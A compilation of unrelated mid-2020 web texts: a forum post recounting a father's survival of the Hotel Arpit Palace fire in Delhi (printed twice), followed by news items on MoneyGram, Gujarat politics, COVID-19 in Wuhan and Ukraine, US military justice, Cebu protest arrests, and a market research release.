Other capacity-building measures include key investments. For example, Canada funded the refurbishment of a 63-km stretch of road along Jordans border with Syria. This investment means that the Jordanian Armed Forces will have better mobility and shortened response times when reacting to incursions, smuggling or other security threats.
JJay BHPian



Join Date: Sep 2019 Location: Golden bridge Posts: 40 Thanked: 438 Times

Fire at Hotel Arpit Palace, Delhi - A survivor's experience Wikipedia entry on the incident



Quote: NPV Originally Posted by What device did you finally get for him ?



If/when you find time do try to share more about the scary experience your dad went through.



Note to mods- please move this post to appropriate thread as I am sure it does not fit here.





Before I start, allow me to provide brief background about the characters involved.

I am adhering higher studies in Ahmedabad, live in rented flat.

My parents live in Bharuch.

Dad [Mr. Harish] is serving in state government. Mom is though active in teaching and charity, mostly housewife. My sister is complying medical studies in Vadodara.

Law officer and Dads colleague. She was from Navsari.



12th February, around 00:15 - Plane carrying my dad and his colleague was grounded at Delhi airport where driver was already waiting for them. Driver knew my dad as he has to make 2-3 visits to Delhi every month as part of his job. On the way to Hotel, their car met with at least 3 roads blocked by corporation workers as they were doing some maintenance work so they had to take longer routes and it took almost an hour to reach the hotel.

It was already very late, dad called mom and instead of calling me, he dropped a text message reached, flight was late which was our regular practice whenever he goes outstation.





HOTEL ARPIT PALACE,



Their check-in time  12th February 1.40 AM.

My dads room number - 405

Dad's colleagues room number  403



While reaching to rooms, they found that room no-403 was in far corner and my dad's colleague was not happy with that so she asked the waiter (who was opening the room) if there was any other room available, to which waiter denied and told that entire hotel is booked by a family who came there for wedding ceremony, my dad offered his room (405) to her and told that he would be fine with room 403 - amidst that discussion waiter opened the room and it was good so she told dad that she would fine there (403) as it was just a matter of one day. She was about to be back next evening while my dad had to stay for 4 days.



While in dads room, waiter came with room heater as it was chilling cold in Delhi but dad is always sceptical about room heaters and never liked them, so he told waiter to take it back to which waiter replied that heater is all safe and would turn off automatically and placed it near wall which my dad objected and told to place it in middle of the room - away from wall, to which waiter obliged.



Note- Following talks were in Gujarati, I am leveraging my poor translation skill to preserve as much originality as I could. Please pardon me if I fail to follow correct syntax and request all to re-imagine the talk in your mother tongue to better understand the situation and thought process.



TIME- 4:29 AM, I was in my quilt enjoying heavenly winter sleep when my phone rang. I dont know how but I picked it up almost instantly,



Me- Hello, jsk (religious phrase we normally use while initiating/ending the call).



Dad- (with calm voice) Rushi (my nickname), listen. I am in hotel Arpit Palace. 405 room number. There is a fire in hotel.



Me- (blank) Pappa, where are you now?



Dad- I am here standing in room near window.



Me- (trying to manage my composure) Has fire brigade reached?



Dad- Cant see anything, people are shouting from outside but have not yet heard any siren. Maybe No they are not here.



Me- (still blank) Are you ok?



Dad- (silence for around 2 seconds) I am not safe.



Me- Pappa, please stay calm, dont panic. (Maybe I was telling to myself)



Dad- Son, dont worry. I try my best.



Me- Please call me as soon as they rescue you. Please remain conscious.



Dad- Ha.



Me- which hotel?



Dad- Arpit palace, room-405.



Me- Ok, JSK.



Dad- JSK.



I sat shocked and blank for about a minute than promptly started googling for guidelines about what to do in case of fire.



TIME- 4:43 AM, I called dad,



Me- (trying to remain normal) JSK, How is there?



Dad- (dull voice) No siren yet but shouting of people is getting louder.



Me- Its ok, can you manage to have water? Put wet cloth on your mouth.



Dad- (low voice and coughs in-between) I am already doing this, I wet my night dress with saliva and keep it on nose and mouth. But now situation is getting worse. Smokes from lower floors are coming into me. It is hard to breath.



( silence for 5-6 seconds )



Me- keep doing this, try to do as much as you can do.



Dad- Son, I think, I, I am not safe. Dont call me again. Son, .................................................. ...........

(sorry, I cant write that talk here, they best be remain between us)



Dad- Last night I left my wallet on nearby table, it must be there let me try ... oh, cant, going inside not possible.



Me- Its ok, its ok.



Dad- Dont call me again.



Me- In case you are rescued, call me immediately. Stay calm, relax. Try as much as possible. Jsk.



Dad- hmm, Jsk.



That feeling when you are losing your loved one but you cant do anything, that thoughts of being helpless, that thoughts of being defeated are worst, sorry I am short on words here.

I pray almighty God to never make anyone face such situation, it is very painful.



TIME- 5:11 AM

DADS CALL,



Dad- (with lot of shivering, I could feel it on phone) Rushi, I have been rescued. I am safe. I am safe now. I am still on ladder crane, it is being going down. I am safe.



Me- (started feeling myself as light as feather) ha, goood, ook. Are you injured?



Dad- No. Not at all.

Me- Awesome, well done. Now take time, take deep breaths and be relax.



Dad- Ha, but I shall now find my colleague first, I called her but her phone was switched off. I call you later. And dont worry, I am safe now.



Me- ha, bye. JSK.



(I heard him telling firefighter about a single lady in 403 while disconnecting)



He was safe and that was all I wanted. We bought Galaxy watch active 2 for him.Note to mods- please move this post to appropriate thread as I am sure it does not fit here.Before I start, allow me to provide brief background about the characters involved.I am adhering higher studies in Ahmedabad, live in rented flat.My parents live in Bharuch.Dad [Mr. Harish] is serving in state government. Mom is though active in teaching and charity, mostly housewife. My sister is complying medical studies in Vadodara.Law officer and Dads colleague. She was from Navsari.12th February, around 00:15 - Plane carrying my dad and his colleague was grounded at Delhi airport where driver was already waiting for them. Driver knew my dad as he has to make 2-3 visits to Delhi every month as part of his job. On the way to Hotel, their car met with at least 3 roads blocked by corporation workers as they were doing some maintenance work so they had to take longer routes and it took almost an hour to reach the hotel.It was already very late, dad called mom and instead of calling me, he dropped a text message reached, flight was late which was our regular practice whenever he goes outstation.HOTEL ARPIT PALACE,Their check-in time  12th February 1.40 AM.My dads room number - 405Dad's colleagues room number  403While reaching to rooms, they found that room no-403 was in far corner and my dad's colleague was not happy with that so she asked the waiter (who was opening the room) if there was any other room available, to which waiter denied and told that entire hotel is booked by a family who came there for wedding ceremony, my dad offered his room (405) to her and told that he would be fine with room 403 - amidst that discussion waiter opened the room and it was good so she told dad that she would fine there (403) as it was just a matter of one day. She was about to be back next evening while my dad had to stay for 4 days.While in dads room, waiter came with room heater as it was chilling cold in Delhi but dad is always sceptical about room heaters and never liked them, so he told waiter to take it back to which waiter replied that heater is all safe and would turn off automatically and placed it near wall which my dad objected and told to place it in middle of the room - away from wall, to which waiter obliged.Note- Following talks were in Gujarati, I am leveraging my poor translation skill to preserve as much originality as I could. Please pardon me if I fail to follow correct syntax and request all to re-imagine the talk in your mother tongue to better understand the situation and thought process.TIME- 4:29 AM, I was in my quilt enjoying heavenly winter sleep when my phone rang. I dont know how but I picked it up almost instantly,Me- Hello, jsk (religious phrase we normally use while initiating/ending the call).Dad- (with calm voice) Rushi (my nickname), listen. I am in hotel Arpit Palace. 405 room number. There is a fire in hotel.Me- (blank) Pappa, where are you now?Dad- I am here standing in room near window.Me- (trying to manage my composure) Has fire brigade reached?Dad- Cant see anything, people are shouting from outside but have not yet heard any siren. Maybe No they are not here.Me- (still blank) Are you ok?Dad- (silence for around 2 seconds) I am not safe.Me- Pappa, please stay calm, dont panic. (Maybe I was telling to myself)Dad- Son, dont worry. I try my best.Me- Please call me as soon as they rescue you. Please remain conscious.Dad- Ha.Me- which hotel?Dad- Arpit palace, room-405.Me- Ok, JSK.Dad- JSK.I sat shocked and blank for about a minute than promptly started googling for guidelines about what to do in case of fire.TIME- 4:43 AM, I called dad,Me- (trying to remain normal) JSK, How is there?Dad- (dull voice) No siren yet but shouting of people is getting louder.Me- Its ok, can you manage to have water? Put wet cloth on your mouth.Dad- (low voice and coughs in-between) I am already doing this, I wet my night dress with saliva and keep it on nose and mouth. But now situation is getting worse. Smokes from lower floors are coming into me. It is hard to breath.( silence for 5-6 seconds )Me- keep doing this, try to do as much as you can do.Dad- Son, I think, I, I am not safe. Dont call me again. Son, .................................................. ...........(sorry, I cant write that talk here, they best be remain between us)Dad- Last night I left my wallet on nearby table, it must be there let me try ... oh, cant, going inside not possible.Me- Its ok, its ok.Dad- Dont call me again.Me- In case you are rescued, call me immediately. Stay calm, relax. Try as much as possible. Jsk.Dad- hmm, Jsk.That feeling when you are losing your loved one but you cant do anything, that thoughts of being helpless, that thoughts of being defeated are worst, sorry I am short on words here.I pray almighty God to never make anyone face such situation, it is very painful.TIME- 5:11 AMDADS CALL,Dad- (with lot of shivering, I could feel it on phone) Rushi, I have been rescued. I am safe. I am safe now. I am still on ladder crane, it is being going down. I am safe.Me- (started feeling myself as light as feather) ha, goood, ook. Are you injured?Dad- No. Not at all.Me- Awesome, well done. Now take time, take deep breaths and be relax.Dad- Ha, but I shall now find my colleague first, I called her but her phone was switched off. I call you later. And dont worry, I am safe now.Me- ha, bye. JSK.(I heard him telling firefighter about a single lady in 403 while disconnecting)He was safe and that was all I wanted. Last edited by Aditya : 6th June 2020 at 11:17 . Reason: Name removed
MoneyGram International, Inc. MGI collaborated with Al Rajhi Bank, headquartered in Saudi Arabia, and also with the banks remittance division, namely Tahweel Al Rajhi. Notably, the remittance arm has a vast branch network in Saudia Arabia, consisting of more than 230 centers as well as 110 correspondent bank relationships.

The tie-up entails the introduction of both digital capabilities and walk-in channels for offering seamless money transfer services to customers in Saudi Arabia. Both partners will employ innovative technologies to roll out a diverse range of payout services such as cash, account deposit and digital wallet capabilities.

Through the tie-up, MoneyGram is eyeing the remittance market of Saudi Arabia that is worth $33.6 billion in remittance outflows, per the World Bank. Notably, the remittance market usually indulges in huge volumes of cash outflows globally.

MoneyGram, which facilitated digital transactions in over 70 countries, has certainly provided relief to its customer base. The partnership is apt for the ongoing pandemic, where customers can engage in money transfer transactions from the safety of their homes.

Shares of this Zacks Rank #4 (Sell) company have surged 142.7% in a year against the industrys decline of 13.5%.

Similar Initiatives Taken Up by MoneyGram

The company has always been in a bid to enhance its digital services suite, backed by partnerships and constant technological upgradations. Similar to the Al Rajhi Bank tie-up, MoneyGram tied up with E9Pay last month, the largest money transfer and payment fintech company in Korea, with an intention to tap the Korea remittance market. Last week, it partnered with Uber Technologies, Inc. UBER to enable hassle-free digital transactions for individuals working at Uber.

Riding on such strong digital business, MoneyGram witnessed 81% growth for its digital business in April. The figure implies an improvement from 57% transaction growth recorded in the first quarter of 2020. Likewise, favorable trends have followed into May.

Story continues

However, media sources recently reported that the worlds leading money remittance company  Western Union Co. WU  made a takeover offer to MoneyGram. This will be a great deal for both companies if it materializes. MoneyGram, which has been facing financial crunch for quite a long time due to weak revenues and high costs, will find a stable partner in Western Union, which has a better financial position.

Also at the end of April, the World Bank projected a 20% decline for global remittances in 2020 mainly due to the financial turmoil induced by the COVID-19 pandemic. Therefore, to cope with the prevalent difficulty in the operating environment, the partnership with a stable company will be best suited for MoneyGram.

A Stock to Consider

A better-ranked stock in the same space is Virtu Financial, Inc. VIRT, currently sporting a Zacks Rank #1 (Strong Buy). It also surpassed earnings estimates in the last reported quarter by 35.76%.You can see the complete list of todays Zacks #1 Rank stocks here.

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In a fresh jolt to the Congress ahead of the Rajya Sabha polls in Gujarat, its MLA Brijesh Merja on Friday resigned from the assembly membership, becoming the third legislator of the opposition party to quit this week.

The assembly secretariat confirmed that speaker Rajendra Trivedi has accepted the resignation of Merja, who was elected from the Morbi seat.

Merja, whose resignation comes ahead of the Rajya Sabha polls for four seats in Gujarat on June 19, is the third Congress MLA to quit in the last three days.

Before quitting as a legislator, Merja resigned from the primary membership of the Congress and shared his resignation letter with the media.

In his resignation letter to party president Sonia Gandhi, Merja said though he had joined the Congress to serve people, he was "unable to do so while being in the party".

Merja is the third Congress MLA to have resigned since Wednesday and the eight since March.

On June 3, Congress MLAs Akshay Patel and Jitu Chaudhary had handed over their resignations to Trivedi.

In March, when Rajya Sabha polls were announced, five Congress MLAs had resigned.

With every drop in the MLA count, the Congress's chances of winning the second Rajya Sabha seat are fast diminishing.

The elections for the four seats were supposed to be held on March 26.

However, they were postponed for an indefinite period in the wake of the coronavirus pandemic and subsequent imposition of nationwide lockdown.

They are now scheduled to he held on June 19.

While the Congress has fielded its senior leaders Shaktisinh Gohil and Bharatsinh Solanki, the ruling BJP has nominated Abhay Bhardwaj, Ramilaben Bara and Narhari Amin as its candidates for the polls, in which MLAs will vote.

In the 182-member Assembly, the BJP has 103 MLAs, while the Congress's count now stands at 65.

While the Bharatiya Tribal Party has two MLAs, the Nationalist Congress Party has one legislator and there is one Independent legislator, Jignesh Mevani.

Ten assembly seats are vacant -- two due to court cases and the rest because of resignations.
Victoria Beckham has said that the fashion industry has a huge role to play in the Black Lives Matter movement, adding that her company needs to be better on issues around racial justice.

In a lengthy post on social media, she added that it is each of our responsibilities to speak out and use our platforms for education, conversation and change.

She added that she is truly sickened by how deeply ingrained racism is in our society.

The fashion designer and former pop stars comments come after demonstrations about racism in cities including London, Birmingham and Manchester that were triggered by the death of George Floyd in the US.

Beckham said: The fashion industry has a huge role to play in the Black Lives Matter movement, and I can be better. We can all be better.

It starts with representation, both within our businesses and who we work with externally.

She said that her company needs to look inwards and be better, adding that she has set up a team of people to look at how they work.

Beckham added: Things wont change or be solved in a day, but we clearly cant wait another day to start doing more.

Video of the Day

Victoria Beckham founded her fashion label in 2008.
A Bexar County Sheriff's deputy has been suspended after "a troubling Facebook post" was reported, the department said in a statement Thursday.

BCSO said one of its deputies posted on social media about "killing people who are rioting, looting, attacking innocent people and burning the city down," the department's statement said. The deputy has not been identified.

READ ALSO: BCSO deputy fired after off-duty arrest in connection with discharging firearm, resisting arrest

Sheriff Javier Salazar described the post as "extremely inappropriate and offensive," emphasizing that those are not the views of BCSO or any reputable law enforcement officer.

"Obviously, those found committing illegal activities do face arrest, but the notion of killing anyone without justification is ludicrous," Salazar said in the department's statement. "The BCSO will continue to support and protect peaceful protests."

The deputy, who works in the detention division, has had no public interaction, but Salazar said the strong language was "troublesome for anyone who wears a uniform or badge."

A full investigation is being conducted and the deputy was placed on administrative leave along with having his Texas Peace Officer's license, badge, credentials and county property surrendered. The punishment could include termination, the BCSO statement said.

"All deputies have been reminded of the consequences and implications of social media posts and the importance of on duty and off duty conduct," Salazar said. "Misconduct will not be tolerated and will continue to be dealt with efficiently and effectively."

The suspension follows another BCSO deputy who was terminated after being arrested Wednesday morning after being arrested by San Antonio police.

Officers said they were called to former deputy Luis Lopez's residence near the 1800 block of Mally for a disturbance and shooting. When SAPD officers arrived, Lopez was "obviously intoxicated" and was fighting with officers as they attempted to arrest him, police said.

He was charged with discharging a firearm in a municipality and resisting arrest.

Taylor Pettaway is a breaking news and general assignment reporter for MySA.com | taylor.pettaway@express-news.net | @TaylorPettaway
The central Chinese city of Wuhan announced on Friday that it had cleared all hospital cases of Covid-19 where patients have exhibited symptoms.



State newspaper Global Times said that the last three Covid-19 patients in Wuhan have recovered and been discharged from hospital - a development that has been met on Chinese social media with mass praise.



At its peak, there were more than 50,000 confirmed cases in the city, the original epicentre of the coronavirus outbreak.



However, it is worth noting that China omits from its data any cases where patients have tested positive for Covid-19, but have not exhibited symptoms. It began recording these separately from 1 April.



Over the last couple of weeks, Wuhan carried out an extensive drive to test all 11 million of its citizens so that it could record all such cases. According to the Hubei provincial health commission, 217 people who are asymptomatic are still under medical observation.

Source: BBC









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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762 people died from the coronavirus since the beginning of the pandemic

As of 9:00 a.m., June 5, 25,964 cases of coronavirus infection observed in Ukraine. The number of diseased increased by 553 people in 24 hours as the Health Ministry of Ukraine reported.

11,372 patients recovered since the beginning of the epidemic in Ukraine; meanwhile, 762 people died.

Speaking on the situation in the regions, the figures are the following: Vinnytsia region  1,093 cases; Volyn region  1,008 cases; Dnipropetrovsk region - 960 cases; Donetsk region - 195 cases; Zhytomyr region - 885 cases; Zakarpattia region  1,280 cases; Zaporizhia region - 477 cases; Ivano-Frankivsk region  1,507 cases; Kirovohrad region - 538 cases; Kyiv  3,292 cases; Kyiv region  1,711 cases; Lviv region  1,988 cases; Luhansk region  51 cases; Mykolaiv region - 307 cases; Odesa region - 970 cases; Poltava region - 272 cases; Rivne region  1,962 cases; Sumy region - 188 cases; Ternopil region  1,233 cases; Kharkiv region  1,196 cases; Kherson region - 179 cases; Khmelnytskyi region - 501 cases; Chernivtsi region  3,519 cases; Cherkasy region - 432 cases; Chernihiv region - 250 cases.

Earlier, Chief Sanitary Inspector of Ukraine Viktor Lyashko stated that Ukraine's Healthcare Ministry will be offering a different strategy of combating coronavirus during the second wave. These measures will be aimed at preventing the new total quarantine in this country. Ukraine should be preparing for the second wave of Covid-19, because it could walk the path of flu and flu-like diseases.
OAKVILLE, ON, June 4, 2020 /PRNewswire/ - Algonquin Power & Utilities Corp. ("APUC" or the "Company") (TSX/NYSE: AQN) today held a virtual annual meeting of common shareholders. Following the formal business of the meeting, the management team discussed the Company's financial performance and notable achievements in 2019, outlined how the Company is navigating the impacts of COVID-19, and highlighted the organization's long term commitment to sustainability. It was also announced that, in connection with the Company's previously announced executive succession plan, Mr. Arun Banskota, APUC's President, is expected to assume the role of Chief Executive Officer in July 2020, co-incident with Mr. Ian Robertson's retirement.

At the meeting, all of the nominees listed in the Company's management information circular dated April 24, 2020 were elected as directors of APUC until the next annual meeting of shareholders. The detailed voting results for the election of directors are set out below.

On a vote by ballot, each of the following ten nominees proposed by management was elected as a director of APUC. The results of the ballot were as follows:

Nominee Votes For % For Votes Withheld % Withheld Christopher Ball 259,876,244 99.25 1,962,720 0.75 Melissa Stapleton Barnes 260,499,482 99.49 1,339,482 0.51 Christopher Huskilson 260,494,891 99.49 1,344,073 0.51 Christopher Jarratt 225,557,590 86.14 36,281,374 13.86 D. Randy Laney 260,554,503 99.51 1,284,461 0.49 Kenneth Moore 260,478,814 99.48 1,360,150 0.52 Ian Robertson 260,513,393 99.49 1,325,571 0.51 Masheed Saidi 260,544,943 99.51 1,294,021 0.49 Dilek Samil 260,539,620 99.50 1,299,344 0.50 George Steeves 260,358,213 99.43 1,480,751 0.57

Shareholders also voted in favour of the re-appointment of Ernst & Young LLP as the Company's auditor, a resolution approving an amendment to increase the number of common shares reserved for issuance under the Company's Employee Share Purchase Plan, a resolution confirming and approving the Company's virtual meeting by-law, and an advisory resolution on the Company's approach to executive compensation.

Final voting results on all matters voted on at the annual meeting of shareholders will be filed with Canadian and U.S. securities regulatory authorities at www.sedar.com and www.sec.gov.

About Algonquin Power & Utilities Corp.

APUC is a diversified international generation, transmission and distribution utility with approximately $11 billion of total assets. Through its two business groups, APUC is committed to providing safe, reliable and cost effective rate-regulated natural gas, water, and electricity generation, transmission and distribution utility services to approximately 805,000 connections in the United States and Canada, and is a global leader in renewable energy through its portfolio of long-term contracted wind, solar and hydroelectric generating facilities representing over 2 GW of installed capacity and more than 1.4 GW of incremental renewable energy capacity under construction.

APUC strives to deliver continuing growth through an expanding global pipeline of renewable energy, electric transmission, and water infrastructure development projects, organic growth within its rate-regulated generation, distribution and transmission businesses, and the pursuit of accretive acquisitions. APUC's common shares, Series A preferred shares, and Series D preferred shares are listed on the Toronto Stock Exchange under the symbols AQN, AQN.PR.A, and AQN.PR.D, respectively. APUC's common shares, Series 2018-A subordinated notes and Series 2019-A subordinated notes are listed on the New York Stock Exchange under the symbols AQN, AQNA and AQNB, respectively.

Visit APUC at www.algonquinpowerandutilities.com and follow us on Twitter @AQN_Utilities.

Caution Regarding Forward-Looking Information

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Bang Sang-hyok, vice president of the Korean Medical Association, speaks during a recent interview at the organization's office in Seoul. Korea Times photo by Kim Kang-min



By Jung Min-ho



U.S. President Donald Trump is calling for a speedy reopening of businesses closed by COVID-19 shutdowns while Democratic governors are seeking to maintain their restrictions.



But can America's economy reopen safely? According to Bang Sang-hyok, vice president of the Korean Medical Association (KMA), it can  only if almost everyone wears a face mask in public.



After a surge in the number of patients three months ago, Korea has brought the coronavirus under control without imposing nationwide lockdowns. If there was one critical thing Korea did differently from the United States and other hard-hit countries, Bang said it was encouraging everyone, including healthy-looking people, to cover their faces during the early phases of the pandemic  long before the U.S. Centers for Disease Control and Prevention did.



"Lockdown cannot last forever," Bang said. "If mask-wearing cannot be done voluntarily, the government should consider making it mandatory."



The following are the questions and answers from a recent interview with him.



Question: Korea is one of the few countries to have succeeded in flattening the coronavirus curve. Many businesses have remained open, while churches and schools are now reopening. What did the country do differently to achieve this?



Answer: Three factors played a key role in Korea's success. First, the country has experienced other coronaviruses, such as the 2002-2004 severe acute respiratory syndrome (SARS) and, especially, the 2015 Middle East respiratory syndrome (MERS) over the past 20 years. Thus, when policymakers, doctors and the public heard the news of the new coronavirus, they all understood how dire the situation was. Meanwhile, those in the United States and countries in Europe did not seem alert until it started hitting them hard.



From experience, Koreans also knew wearing a mask would be effective in slowing the spread of the virus. So the government, which advised the public to wear masks during the MERS outbreak here, responded quickly according to previous guidelines.



Furthermore, fine dust from China over the past several years has created demand for masks and a culture of wearing them on the streets. With many factories already in place, Korea could produce enough masks for everyone in a short time.



Q: Despite the prompt efforts to contain the virus, there was a surge of cases in Daegu. How did Korea manage to bring the situation under control?



A: After the cluster of infections in Daegu, the government did not take excessive measures, yet everyone there acted as if it had done so  wearing masks, avoiding physical contact with other people and voluntarily isolating themselves if they felt it necessary. To this day, members of the public have been very cooperative in terms of following public health measures, which played a large role in containing the virus in the area.



Before the situation became worse, many medical workers from other parts of the country volunteered to go there to help. Their bravery and sacrifice should not be forgotten.



Q: Do you believe Korea's strategy would be applicable to other countries such as the United States?



A: Yes, but the success of the strategy depends on how cooperative their citizens would be. If they wear masks, wash their hands frequently and follow health measures strictly, I think it is possible. But of course, all states are different; there may be cultural differences, which may play a part. The number of hospitals, medical workers and equipment, these are among the factors to be considered before making a decision for each state or country.




The Air Force's top lawyer is asking leaders and personnel within the Judge Advocate General's Corps for proposals on how to improve the service's justice system, following a call for reform from service leadership.

In a June 3 letter issued to the JAG corps, Lt. Gen. Jeffrey Rockwell, the service's judge advocate general, said the request to submit proposals is a crucial step to "break down barriers and promote conversation, productive debate and further analysis."

Read Next: Air Force Preparing for Furloughed Commercial Pilots to Request Return to Duty

"As our nation grapples with the issue of racial justice and equality, the public will look to the Armed Forces to set the example," Rockwell wrote in the letter, first leaked on the popular, but unofficial Air Force Facebook page, Amn/Nco/Snco. A service spokeswoman confirmed the letter's authenticity, and said the first three slides accompanying it are also authentic.

Rockwell said a broader conversation must be had on the reasons that black junior enlisted airmen are punished at a much higher rate than their non-black counterparts.

"Nothing is more important this conversation," he said. "How can we use military justice statistics to contribute to a wider conversation about valuing our Airmen? What efforts can we make, whether within our JAG Corps or within our Department of the Air Force, to address this disparity?"

According to the accompanying slides, the statistics show that black male airmen "under the age of 25 and with less than 5 years of service receive non-judicial punishments and courts-martial actions at a higher rate than similarly situated white male Airmen," Rockwell said.

Specifically, according to data collected between 2006 and 2019, "black airmen received non-judicial punishments at a higher rate for drug offenses (use or possession of marijuana being the highest) and Absence Without Official Leave [reprimands]" explicitly at the E-5 and below levels, one slide shows. The slide did not provide specific data regarding punishment rates for those offenses for airmen of other races.

According to 2019 end-strength figures, the service had 232,730 white airmen, 47,827 black airmen and 45,291 airmen of other races, the slide showed.

The statistics align with data obtained by the advocacy organization Protect Our Defenders last month showing that black airmen in the most junior enlisted ranks were twice as likely to receive discipline as those from other demographics, a revelation that prompted calls for reform from lawmakers and activists.

The buck doesn't stop with the judicial system specifically, Rockwell said.

"Rather than stopping at legal sufficiency, ask -- how did we get here?" he said.

"Are we welcoming all new Airmen into the Air Force family and fostering an atmosphere of inclusion? Are we giving everyone an opportunity to meet -- and exceed -- standards? We must broaden this discussion beyond Airmen facing disciplinary action," he said.

Airmen may submit their comments anonymously to the newly created Judge Advocate staff's "Race and Justice" feedback website, the general said.

News of the letter comes after Air Force Chief Master Sergeant of the Air Force Kaleth O. Wright and Chief of Staff Gen David Goldfein appeared together in a town hall session Wednesday to answer airmen's questions about race and discuss their concerns.

Wright was the first member of senior military leadership to speak out publicly in a lengthy social media post following the May 25 death of George Floyd, a black man, at the hands of police officers in Minneapolis. Wright's words contained concern for black members of the Air Force, and both Wright and Goldfein called for change and improvement in the service, including a review of the military justice system.

"Air Force leaders need to ask themselves, 'Am I giving this person a fair shot, the same I would give another person?'" Wright said during the town hall Wednesday, adding black male airmen receive punishment "at anywhere from two to three times the amount of their white male counterparts for the same offenses."

"This is about us showing by example how to have a tough, tough dialogue," Goldfein added.

"It's often easier to avoid it. We can't walk by this anymore."

-- Oriana Pawlyk can be reached at oriana.pawlyk@military.com. Follow her on Twitter at @Oriana0214.

Related: 'Acting with Their Heart:' How the Air Force Led the Services in Talking About Race
Cebu City (CNN Philippines, June 5)  The University of the Philippines-Cebu administration said it is "deeply disturbed" by the dispersal and arrest of "peaceful protesters" during a rally in front of its campus in Cebu City on Friday.

Police arrested seven out of the estimated 50 individuals who participated in the protest action against the controversial anti-terrorism bill. The rest managed to escape the arresting officers, some of whom were said to be in civilian clothes.

Taken into custody was Bagong Alyansang Makabayan (Bayan) Central Visayas Secretary General Jaime Paglinawan who said in a radio interview that they practiced social distancing protocols during the rally.

The seven protesters, mostly students and members of militant groups, were brought to the Cebu City Police Office in Camp Sotero Cabahug.

Lt. Col. Melbert Esguerra, deputy city director for operations of the Cebu City Police, said authorities gave the protesters a 10-minute warning to end the activity but, he said, they still continued with the rally.

The police claimed the group violated quarantine protocols, citing that Cebu City is under general community quarantine where gatherings are only limited to 10 people.

"The UP Cebu administration is deeply disturbed by the incident this morning of police dispersing and arresting peaceful protesters within the vicinity of the campus," Corro said. She denied allegations that school guards helped the police in the dispersal, saying they were actually blocking the policemen and helped bring students to safety.

#ReleaseCebu7 trended on Twitter as videos of the police running after protesters circulated online. Some of those arrested handcuffed while being ledled away by policemen in waiting to patrol vehicles.

In a statement, UP Cebu Chancellor Liza Corro said they were "deeply disappointed" that the police did not coordinate with school authorities in handling the situation. She said while quarantine measures prohibit mass gatherings, there could have been "a more sound and sensible resolution."

Corro said that the presence and actions of anti-riot police "heightened rather than allayed the risks to the safety of the people involved."

Some netizens compared the protest to the birthday blowout of Metro Manila police chief Major General Debold Sinas, who was charged for violating quarantine protocols along with his subordinates. They are now calling on authorities to free the protesters.

Reacting to a similar protest at the UP Diliman campus held Thursday, the Philippine National Police urged the public to avoid joining mass protests amid the coronavirus disease crisis.

"The mass action has compromised public health and welfare as well as the rallyists own safety. We support alternative means to exercise freedom of expression like what some labor groups did last May," the PNP said, referring to the online Labor Day protests.

The controversial anti-terrorism bill has been passed by Congress and only needs President Rodrigo Duterte's signature for enactment.

One of its contentious provisions is allowing the detention of suspected terrorists for up to 24 days even without a warrant of arrest. Critics of the measure said it relaxes safeguards on human rights.

Bayan Muna Rep. Carlos Zarate said they are ready to challenge the constitutionality of the measure before the Supreme Court, arguing that it poses threats against progressive groups, who previously experienced "red-tagging" from state forces.

Cebu-based stringer Dale Israel contributed to this report.
Technavio has been monitoring the liner hanger systems market and it is poised to grow by USD 950 million during 2019-2023, progressing at a CAGR of almost 5% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. Request latest free sample report of 2020-2024

This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200605005184/en/

Technavio has announced its latest market research report titled Global Liner Hanger Systems Market 2019-2023 (Graphic: Business Wire)

The market is fragmented, and the degree of fragmentation will accelerate during the forecast period. Baker Hughes, Halliburton, National OilwellVarco, Schlumberger, and Weatherford are some of the major market participants. The increase in rig count will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments.

Increase in rig count has been instrumental in driving the growth of the market.

Liner Hanger Systems Market 2019-2023: Segmentation

Liner Hanger Systems Market is segmented as below:

Application

Onshore

Offshore

Geographic Landscape

Americas

APAC

EMEA

To learn more about the global trends impacting the future of market research, download latest free sample report of 2020-2024: https://www.technavio.com/talk-to-us?report=IRTNTR30301

Liner Hanger Systems Market 2019-2023: Scope

Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our liner hanger systems market report covers the following areas:

Liner Hanger Systems Market Size

Liner Hanger Systems Market Trends

Liner Hanger Systems Market Industry Analysis

This study identifies increase in deepwater and ultra-deepwater exploration as one of the prime reasons driving the liner hanger systems market growth during the next few years.

Liner Hanger Systems Market 2019-2023: Vendor Analysis

We provide a detailed analysis of around 25 vendors operating in the liner hanger systems market, including some of the vendors such as Baker Hughes, Halliburton, National OilwellVarco, Schlumberger, and Weatherford. Backed with competitive intelligence and benchmarking, our research reports on the liner hanger systems market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support.

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Liner Hanger Systems Market 2019-2023: Key Highlights

CAGR of the market during the forecast period 2019-2023

Detailed information on factors that will assist liner hanger systems market growth during the next five years

Estimation of the liner hanger systems market size and its contribution to the parent market

Predictions on upcoming trends and changes in consumer behaviour

The growth of the liner hanger systems market

Analysis of the market's competitive landscape and detailed information on vendors

Comprehensive details of factors that will challenge the growth of liner hanger systems market vendors

Table Of Contents :

PART 01: EXECUTIVE SUMMARY

PART 02: SCOPE OF THE REPORT

2.1 Preface

2.2 Preface

2.3 Currency conversion rates for US$

PART 03: MARKET LANDSCAPE

Market ecosystem

Market characteristics

Market segmentation analysis

PART 04: MARKET SIZING

Market definition

Market sizing 2018

Market size and forecast 2018-2023

PART 05: FIVE FORCES ANALYSIS

Bargaining power of buyers

Bargaining power of suppliers

Threat of new entrants

Threat of substitutes

Threat of rivalry

Market condition

PART 06: MARKET SEGMENTATION BY APPLICATION

Market segmentation by application

Comparison by application

Onshore Market size and forecast 2018-2023

Offshore Market size and forecast 2018-2023

Market opportunity by application

PART 07: CUSTOMER LANDSCAPE

PART 08: GEOGRAPHIC LANDSCAPE

Geographic segmentation

Geographic comparison

Americas Market size and forecast 2018-2023

APAC Market size and forecast 2018-2023

EMEA Market size and forecast 2018-2023

Key leading countries

Market opportunity

PART 09: DECISION FRAMEWORK

PART 10: DRIVERS AND CHALLENGES

Market drivers

Market challenges

PART 11: MARKET TRENDS

Increase in deepwater and ultra-deepwater exploration

Innovations in liner hanger technology

Consolidation among oilfield service companies

PART 12: VENDOR LANDSCAPE

